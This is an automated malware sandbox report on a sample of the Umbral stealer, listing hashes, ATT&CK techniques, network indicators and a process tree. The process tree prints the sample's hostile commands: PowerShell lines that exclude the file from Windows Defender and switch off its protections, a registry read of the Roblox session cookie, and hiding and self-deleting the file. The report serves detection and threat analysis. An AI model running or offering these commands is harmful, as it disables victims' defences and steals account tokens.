umbral | e9d12a502f21205c38e5d593c9bfa6f22045e7270fec4d27e027c29b9a6dcb6c

Analysis

max time kernel
147s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
19-08-2024 10:13

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General

Target

Umbral.exe
Size

231KB
MD5

2f8f9edad83fe12a0e27f2f774f59d97
SHA1

0501724be9ae75f5b22e7ab90d7beb71dcc9f8af
SHA256

e9d12a502f21205c38e5d593c9bfa6f22045e7270fec4d27e027c29b9a6dcb6c
SHA512

94f491514d8a0333b0a62d368d62a702ec1018ca2efb3c61e952adf5244e489057d675250df0bc666665cd9cdec128a163a11745884479439e84be6402bdac08
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4FRMuyMS1Nmhzus9x4Wnb8e1mzAi:DoZtL+EP8FRMuyMS1Nmhzus9x4QIZ

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3652-1-0x0000021134100000-0x0000021134140000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4724	powershell.exe
2900	powershell.exe
1016	powershell.exe
2144	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3528	cmd.exe
5044	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4112	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5044	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3652	Umbral.exe
4724	powershell.exe
4724	powershell.exe
2900	powershell.exe
2900	powershell.exe
1016	powershell.exe
1016	powershell.exe
2516	powershell.exe
2516	powershell.exe
2144	powershell.exe
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3652	Umbral.exe
Token: SeIncreaseQuotaPrivilege	1404	wmic.exe
Token: SeSecurityPrivilege	1404	wmic.exe
Token: SeTakeOwnershipPrivilege	1404	wmic.exe
Token: SeLoadDriverPrivilege	1404	wmic.exe
Token: SeSystemProfilePrivilege	1404	wmic.exe
Token: SeSystemtimePrivilege	1404	wmic.exe
Token: SeProfSingleProcessPrivilege	1404	wmic.exe
Token: SeIncBasePriorityPrivilege	1404	wmic.exe
Token: SeCreatePagefilePrivilege	1404	wmic.exe
Token: SeBackupPrivilege	1404	wmic.exe
Token: SeRestorePrivilege	1404	wmic.exe
Token: SeShutdownPrivilege	1404	wmic.exe
Token: SeDebugPrivilege	1404	wmic.exe
Token: SeSystemEnvironmentPrivilege	1404	wmic.exe
Token: SeRemoteShutdownPrivilege	1404	wmic.exe
Token: SeUndockPrivilege	1404	wmic.exe
Token: SeManageVolumePrivilege	1404	wmic.exe
Token: 33	1404	wmic.exe
Token: 34	1404	wmic.exe
Token: 35	1404	wmic.exe
Token: 36	1404	wmic.exe
Token: SeIncreaseQuotaPrivilege	1404	wmic.exe
Token: SeSecurityPrivilege	1404	wmic.exe
Token: SeTakeOwnershipPrivilege	1404	wmic.exe
Token: SeLoadDriverPrivilege	1404	wmic.exe
Token: SeSystemProfilePrivilege	1404	wmic.exe
Token: SeSystemtimePrivilege	1404	wmic.exe
Token: SeProfSingleProcessPrivilege	1404	wmic.exe
Token: SeIncBasePriorityPrivilege	1404	wmic.exe
Token: SeCreatePagefilePrivilege	1404	wmic.exe
Token: SeBackupPrivilege	1404	wmic.exe
Token: SeRestorePrivilege	1404	wmic.exe
Token: SeShutdownPrivilege	1404	wmic.exe
Token: SeDebugPrivilege	1404	wmic.exe
Token: SeSystemEnvironmentPrivilege	1404	wmic.exe
Token: SeRemoteShutdownPrivilege	1404	wmic.exe
Token: SeUndockPrivilege	1404	wmic.exe
Token: SeManageVolumePrivilege	1404	wmic.exe
Token: 33	1404	wmic.exe
Token: 34	1404	wmic.exe
Token: 35	1404	wmic.exe
Token: 36	1404	wmic.exe
Token: SeDebugPrivilege	4724	powershell.exe
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeIncreaseQuotaPrivilege	3152	wmic.exe
Token: SeSecurityPrivilege	3152	wmic.exe
Token: SeTakeOwnershipPrivilege	3152	wmic.exe
Token: SeLoadDriverPrivilege	3152	wmic.exe
Token: SeSystemProfilePrivilege	3152	wmic.exe
Token: SeSystemtimePrivilege	3152	wmic.exe
Token: SeProfSingleProcessPrivilege	3152	wmic.exe
Token: SeIncBasePriorityPrivilege	3152	wmic.exe
Token: SeCreatePagefilePrivilege	3152	wmic.exe
Token: SeBackupPrivilege	3152	wmic.exe
Token: SeRestorePrivilege	3152	wmic.exe
Token: SeShutdownPrivilege	3152	wmic.exe
Token: SeDebugPrivilege	3152	wmic.exe
Token: SeSystemEnvironmentPrivilege	3152	wmic.exe
Token: SeRemoteShutdownPrivilege	3152	wmic.exe
Token: SeUndockPrivilege	3152	wmic.exe
Token: SeManageVolumePrivilege	3152	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3652 wrote to memory of 1404	3652	Umbral.exe	81
PID 3652 wrote to memory of 1404	3652	Umbral.exe	81
PID 3652 wrote to memory of 1596	3652	Umbral.exe	85
PID 3652 wrote to memory of 1596	3652	Umbral.exe	85
PID 3652 wrote to memory of 4724	3652	Umbral.exe	87
PID 3652 wrote to memory of 4724	3652	Umbral.exe	87
PID 3652 wrote to memory of 2900	3652	Umbral.exe	89
PID 3652 wrote to memory of 2900	3652	Umbral.exe	89
PID 3652 wrote to memory of 1016	3652	Umbral.exe	91
PID 3652 wrote to memory of 1016	3652	Umbral.exe	91
PID 3652 wrote to memory of 2516	3652	Umbral.exe	93
PID 3652 wrote to memory of 2516	3652	Umbral.exe	93
PID 3652 wrote to memory of 3152	3652	Umbral.exe	95
PID 3652 wrote to memory of 3152	3652	Umbral.exe	95
PID 3652 wrote to memory of 1636	3652	Umbral.exe	97
PID 3652 wrote to memory of 1636	3652	Umbral.exe	97
PID 3652 wrote to memory of 3976	3652	Umbral.exe	99
PID 3652 wrote to memory of 3976	3652	Umbral.exe	99
PID 3652 wrote to memory of 2144	3652	Umbral.exe	101
PID 3652 wrote to memory of 2144	3652	Umbral.exe	101
PID 3652 wrote to memory of 4112	3652	Umbral.exe	103
PID 3652 wrote to memory of 4112	3652	Umbral.exe	103
PID 3652 wrote to memory of 3528	3652	Umbral.exe	105
PID 3652 wrote to memory of 3528	3652	Umbral.exe	105
PID 3528 wrote to memory of 5044	3528	cmd.exe	107
PID 3528 wrote to memory of 5044	3528	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1596	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1404
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2516
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1636
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2144
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
4f5f260adddac5f80eb2d1c0784a2e24

SHA1
8719894ff1664202f9e228c55f94d62dcaf12cce

SHA256
7b41d9c769cb20c7ad73e7afa44f964fd7fe66be45d2b0a2ef438dc985433202

SHA512
aa4a23298fda2e7bd6168bcb25b4a215616bccf73705e3566b6b576bf33bb9336682ace3354643332c940c5ee02eef59682a77447ba2f94e97ae0b4722ef0ba7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60a84ea8f3888e51bb0fe4856926a639

SHA1
43848b5a831f8fe7623694b36b17554b83770269

SHA256
5d219511d1091f4dc52ef6664815bcacf013c76b695bf2195aa439a6cc431504

SHA512
f6381deedc9612c96914173d948bd601192256c1b65a6b6be3c6664de84df64fb8740fa0205846e0380305bf5442e52991d134ff94b8edc899775befcc4a86ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgrzh5u2.sgu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3652-67-0x0000021134690000-0x000002113469A000-memory.dmp

Filesize
40KB

Download
memory/3652-33-0x0000021134650000-0x000002113466E000-memory.dmp

Filesize
120KB

Download
memory/3652-85-0x00007FFF85E30000-0x00007FFF868F2000-memory.dmp

Filesize
10.8MB

Download
memory/3652-68-0x000002114E920000-0x000002114E932000-memory.dmp

Filesize
72KB

Download
memory/3652-2-0x00007FFF85E30000-0x00007FFF868F2000-memory.dmp

Filesize
10.8MB

Download
memory/3652-31-0x000002114E980000-0x000002114E9F6000-memory.dmp

Filesize
472KB

Download
memory/3652-32-0x0000021135F60000-0x0000021135FB0000-memory.dmp

Filesize
320KB

Download
memory/3652-0-0x00007FFF85E33000-0x00007FFF85E35000-memory.dmp

Filesize
8KB

Download
memory/3652-1-0x0000021134100000-0x0000021134140000-memory.dmp

Filesize
256KB

Download
memory/4724-14-0x0000017FA39E0000-0x0000017FA3A02000-memory.dmp

Filesize
136KB

Download
memory/4724-4-0x00007FFF85E30000-0x00007FFF868F2000-memory.dmp

Filesize
10.8MB

Download
memory/4724-3-0x00007FFF85E30000-0x00007FFF868F2000-memory.dmp

Filesize
10.8MB

Download
memory/4724-5-0x00007FFF85E30000-0x00007FFF868F2000-memory.dmp

Filesize
10.8MB

Download
memory/4724-17-0x00007FFF85E30000-0x00007FFF868F2000-memory.dmp

Filesize
10.8MB

Download